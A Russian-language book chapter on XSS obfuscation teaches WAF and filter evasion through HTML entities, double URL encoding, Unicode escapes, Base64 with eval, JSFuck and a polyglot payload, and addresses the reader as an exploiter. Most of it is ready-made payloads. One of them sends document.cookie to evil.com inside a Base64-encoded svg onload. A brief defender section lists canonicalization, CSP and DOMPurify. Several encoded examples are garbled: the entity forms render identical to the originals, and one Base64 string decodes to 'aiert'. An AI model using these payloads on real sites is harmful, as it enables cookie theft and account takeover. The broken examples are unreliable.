Книга: «Все об уязвимости XSS». Глава 4. Классические векторы атаки 💉 • Обфускация и энкодинг: UTF-8, Base64, Unicode-магия
Фильтры и WAF'ы - это не непробиваемые стены. Это решето, через которое нужно просочиться в правильной форме. Обфускация и энкодинг - твои инструменты превращения опасного payload'а в безобидный с виду набор символов, который браузер всё равно выполнит. Это химия XSS: берёшь одну форму вещества, преобразуешь её, а на выходе получаешь взрыв. Давай разберёмся, как заставить alert(1) выглядеть так, что ни один фильтр его не узнает.
Почему обфускация - твой хлеб
WAF и фильтры работают по простому принципу: ищут известные паттерны. Слово "script"? Блок. Слово "alert"? Блок. Скобки и угловые кавычки? Подозрительно, режем.
Но вот прикол: браузер намного умнее фильтра. Он понимает множество способов кодирования и автоматически декодирует их на разных этапах парсинга. Твоя задача - закодировать payload так, чтобы:
- Фильтр не распознал его как опасный
- Браузер корректно декодировал и выполнил
Это игра в кошки-мышки, где побеждает тот, кто лучше знает спецификации.
HTML Entity Encoding - базовая магия
HTML-сущности - это способ представить спецсимволы через их числовые или именованные коды. Браузер декодирует их при парсинге HTML.
Синтаксис:
- Именованные:
<(меньше),>(больше),"(кавычка) - Десятичные:
<(меньше),a(буква 'a') - Шестнадцатеричные:
<(меньше),a(буква 'a')
Применение в XSS:
Классический payload:
<img src=x onerror=alert(1)>
Обфусцированный через HTML entities:
<img src=x onerror=alert(1)> <img src=x onerror=alert(1)>
Можно закодировать всё слово целиком:
<img src=x onerror=alert(1)>
Это alert(1), но для примитивного фильтра - просто набор чисел .
Важный момент: HTML entities работают только в HTML-контексте и внутри значений атрибутов. В чистом JavaScript-коде они не декодируются.
Где работает:
<!-- В атрибутах - ДА --> <div title="<script>"> <!-- Внутри тегов - ДА --> <div><script>alert(1)</script></div> <!-- Внутри <script> - НЕТ --> <script> var x = "a"; // Это будет строка "a", а не "a" </script>
URL Encoding — обход через проценты
URL encoding (percent encoding) кодирует символы через % и их шестнадцатеричный код ASCII/UTF-8.
Примеры:
- Пробел:
%20 -
<:%3C -
>:%3E -
(:%28 -
):%29
Применение:
Когда payload в URL-параметре:
https://site.com/search?q=<script>alert(1)</script>
Обфусцированный:
https://site.com/search?q=%3Cscript%3Ealert(1)%3C/script%3E
Двойное кодирование:
Некоторые приложения декодируют URL дважды (по ошибке или специально). Используй это:
%253Cscript%253E = %3Cscript%3E = <script>
Первый раз декодируется на сервере, второй - в браузере или в JS через decodeURIComponent().
Смешанное кодирование:
%3Cscript%3Ealert%28%31%29%3C%2Fscript%3E
Фильтр не видит слова "script", браузер всё декодирует.
Unicode Escape Sequences - JavaScript-магия
Внутри JavaScript-кода можно использовать Unicode escape-последовательности для представления символов.
Синтаксис:
-
\uXXXX- 4-значный hex (UTF-16) -
\u{XXXXX}- переменная длина (ES6) -
\xXX- 2-значный hex (ASCII)
Пример:
Вместо:
alert('XSS')
Используй:
\u0061lert('XSS') // \u0061 = 'a' ale\u0072t('XSS') // \u0072 = 'r' \u0061\u006C\u0065\u0072\u0074('XSS') // Всё слово
В контексте атаки:
<img src=x onerror="\u0061lert(1)">
Фильтр ищет строку "alert", но видит \u0061lert и пропускает. JavaScript декодирует Unicode escapes и выполняет alert(1).
Важно: Unicode escapes работают только внутри JS-строк и идентификаторов, не в HTML.
Base64 - любимец обфускаторов
Base64 кодирует бинарные данные в ASCII-строку. В связке с atob() (decode) и eval() - мощнейший инструмент.
Механика:
btoa('alert(1)') // Кодирование: "YWxlcnQoMSk=" atob('YWxlcnQoMSk=') // Декодирование: "alert(1)"
Payload:
<img src=x onerror="eval(atob('YWxlcnQoMSk='))">
Фильтр видит непонятную строку YWxlcnQoMSk=, браузер декодирует и выполняет alert(1).
Более сложный пример:
Закодируй целый скрипт:
document.location='https://evil.com/?c='+document.cookie
В Base64:
ZG9jdW1lbnQubG9jYXRpb249J2h0dHBzOi8vZXZpbC5jb20vP2M9Jytkb2N1bWVudC5jb29raWU=
Payload:
<svg onload="eval(atob('ZG9jdW1lbnQubG9jYXRpb249J2h0dHBzOi8vZXZpbC5jb20vP2M9Jytkb2N1bWVudC5jb29raWU='))">
UTF-8 трюки и overlong encoding
UTF-8 позволяет кодировать один символ разными способами (хотя стандарт это запрещает, некоторые парсеры принимают).
Overlong encoding:
Символ < (ASCII 60, 0x3C) можно закодировать как:
- Нормально:
0x3C - Overlong (2 байта):
0xC0 0xBC - Overlong (3 байта):
0xE0 0x80 0xBC
Некоторые старые парсеры примут это, фильтр — нет.
Пример в URL:
%C0%BC = < (в некоторых старых системах)
Best/Worst Width Unicode:
В Unicode есть полноширинные (fullwidth) варианты латинских символов:
- Обычная 'a':
U+0061 - Полноширинная 'a':
U+FF41
Payload:
alert(1)
Визуально похоже на alert(1), но фильтр не распознает. Правда, JavaScript тоже не выполнит - это другие символы. Но для обхода проверки на входе, с последующим преобразованием - может сработать.
Многоуровневое кодирование - матрёшка смерти
Комбинируй несколько методов:
Уровень 1: JavaScript внутри атрибута
<img src=x onerror="eval(String.fromCharCode(97,108,101,114,116,40,49,41))">
String.fromCharCode(97,108,101,114,116,40,49,41) собирает строку alert(1) из ASCII-кодов.
Уровень 2: HTML entities + JavaScript
<img src=x onerror="eval(String.fromCharCode(97,108))">
HTML-сущности внутри JavaScript-кода внутри HTML-атрибута.
Уровень 3: Base64 + Unicode + HTML entities
<img src=x onerror="eval(atob('YWllcnQoMSk='))">
Это монстр, который большинство фильтров пропустит.
JSFuck и экзотические кодировки
JSFuck - запись любого JavaScript используя только 6 символов: []()!+
Пример: alert(1) в JSFuck выглядит как ~8000 символов:
[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]...
Это работает, но громоздко. Используй для обхода крайне параноидальных фильтров.
JJencode, AAencode - похожие техники с другими наборами символов.
Обход WAF - практические кейсы
Кейс 1: WAF блокирует "script"
Попробуй:
<scr<script>ipt>alert(1)</scr</script>ipt>
Если WAF вырежет внутренний <script>, останется рабочий внешний.
Или через entities:
<script>alert(1)</script>
Кейс 2: WAF блокирует "alert"
Используй:
window['al'+'ert'](1) window['\u0061lert'](1) eval('al'+'ert(1)') eval(atob('YWxlcnQoMSk=')) Function('ale'+'rt(1)')()
Кейс 3: WAF блокирует скобки ()
Через template literals:
alert`1`
Или через tagged template:
eval`alert\x281\x29`
Кейс 4: Всё блокируется
Polygon payload - работает в разных контекстах одновременно:
jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e
Это комбо из разных техник, которое обходит множество фильтров сразу.
Автоматизация обфускации
Инструменты:
- XSS Polyglot Generator - генерирует универсальные payload'ы
- JSObfuscator - обфусцирует JavaScript
- Custom scripts - пиши свои генераторы под конкретные фильтры
Простой Python-скрипт для HTML entity encoding:
def html_encode(s):
return ''.join(f'&#{ord(c)};' for c in s)
payload = "<script>alert(1)</script>"
print(html_encode(payload))
# <script>...
Защита от обфускации
Для защитников:
- Канонизация входных данных - декодируй все возможные кодировки перед проверкой
- Контекстное экранирование - фильтруй после декодирования
- CSP - блокирует eval, inline-скрипты
- Библиотеки санитизации - DOMPurify понимает все трюки
Для атакующих:
Ищи слабое звено: часто фильтр декодирует один раз, а браузер - дважды. Или наоборот.
Заключение
Обфускация и энкодинг - это не просто техники обхода. Это искусство понимания того, как браузер обрабатывает данные на каждом этапе парсинга. HTML entities → URL decoding → JavaScript Unicode escapes → eval/atob/fromCharCode - каждый уровень даёт новые возможности.
Твоя задача как эксплойтера - знать все эти методы наизусть и комбинировать их креативно. Фильтр ищет паттерны? Сломай паттерн. WAF декодирует один раз? Закодируй дважды. CSP блокирует eval? Найди способ без eval.
Обфускация - это шахматы с фильтром. И чем больше ходов ты знаешь, тем выше шанс поставить мат. В следующей главе мы перейдём к поиску XSS в дикой природе - научимся охотиться на реальных сайтах и превращать теорию в практику.
